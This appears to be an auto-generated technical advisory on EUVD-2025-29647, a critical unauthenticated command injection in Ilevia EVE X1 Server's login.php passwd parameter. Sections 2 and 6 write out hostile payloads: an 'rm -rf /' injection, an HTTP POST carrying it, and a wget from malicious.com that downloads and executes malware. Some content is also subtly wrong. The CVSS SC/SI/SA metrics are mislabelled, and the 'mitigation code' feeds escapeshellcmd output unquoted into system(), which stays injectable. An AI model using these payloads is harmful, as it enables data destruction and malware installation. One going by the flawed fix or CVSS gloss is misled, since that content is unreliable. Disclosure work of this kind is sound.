EUVD-2025-29647

Comprehensive Technical Analysis of EUVD-2025-29647

1. Vulnerability Assessment and Severity Evaluation

The vulnerability identified in the Ilevia EVE X1 Server version ≤ 4.7.18.0.eden is an unauthenticated OS command injection vulnerability in the /ajax/php/login.php script. This vulnerability allows remote attackers to execute arbitrary system commands by injecting payloads into the passwd HTTP POST parameter. The severity of this vulnerability is rated with a CVSS Base Score of 9.3, which is considered critical.

CVSS Vector Breakdown:

• AV:N (Network Vector): The vulnerability is exploitable over the network.
• AC:L (Low Complexity): The attack requires low skill or resources.
• AT:N (None): No special conditions are required for the attack.
• PR:N (None): No privileges are required.
• UI:N (None): No user interaction is required.
• VC:H (High): Confidentiality impact is high.
• VI:H (High): Integrity impact is high.
• VA:H (High): Availability impact is high.
• SC:N (None): Scope change is not applicable.
• SI:N (None): Scope impact is not applicable.
• SA:N (None): Secondary impacts are not applicable.

2. Potential Attack Vectors and Exploitation Methods

Attack Vectors:

• Remote Command Execution: Attackers can send specially crafted HTTP POST requests to the /ajax/php/login.php script, injecting malicious commands into the passwd parameter.
• Denial of Service (DoS): By executing commands that consume system resources or disrupt services, attackers can cause a DoS condition.

Exploitation Methods:

• Payload Injection: Attackers can inject commands such as ; rm -rf / to delete system files or ; wget http://malicious.com/malware -O /tmp/malware; chmod +x /tmp/malware; /tmp/malware to download and execute malware.
• Reverse Shell: Attackers can inject commands to establish a reverse shell, allowing them to gain full control over the system.

3. Affected Systems and Software Versions

Affected Systems:

• Ilevia EVE X1 Server versions ≤ 4.7.18.0.eden

Software Versions:

• All versions up to and including 4.7.18.0.eden are vulnerable.

4. Recommended Mitigation Strategies

Immediate Actions:

• Patching: Upgrade to a patched version of the Ilevia EVE X1 Server if available.
• Input Validation: Implement strict input validation and sanitization for the passwd parameter to prevent command injection.
• Access Control: Restrict access to the /ajax/php/login.php script to trusted IP addresses.
• Monitoring: Enable logging and monitoring for suspicious activities related to the /ajax/php/login.php script.

Long-Term Strategies:

• Regular Updates: Ensure that all software components are regularly updated and patched.
• Security Audits: Conduct regular security audits and vulnerability assessments.
• Intrusion Detection: Deploy intrusion detection systems (IDS) to detect and respond to potential attacks.

5. Impact on European Cybersecurity Landscape

The vulnerability poses a significant risk to organizations using the Ilevia EVE X1 Server, particularly within the European Union. The potential for full system compromise and denial of service can lead to data breaches, service disruptions, and financial losses. This underscores the importance of timely patching and robust security measures to protect critical infrastructure and sensitive data.

6. Technical Details for Security Professionals

Vulnerability Details:

• Script Location: /ajax/php/login.php
• Vulnerable Parameter: passwd
• Injection Point: The passwd parameter is directly used in system commands without proper sanitization.

Example Exploit:

POST /ajax/php/login.php HTTP/1.1
Host: vulnerable-server.com
Content-Type: application/x-www-form-urlencoded

passwd=; rm -rf /

Mitigation Code Example:

// Sanitize input
$passwd = escapeshellcmd($_POST['passwd']);

// Use sanitized input in system commands
system("some_command $passwd");

References:

• Ilevia Official Website
• Zero Science Vulnerability Report
• Packet Storm Advisory
• VulnCheck Advisory
• NVD CVE-2025-34184

By addressing this vulnerability promptly and implementing robust security measures, organizations can significantly reduce the risk of exploitation and protect their systems from potential attacks.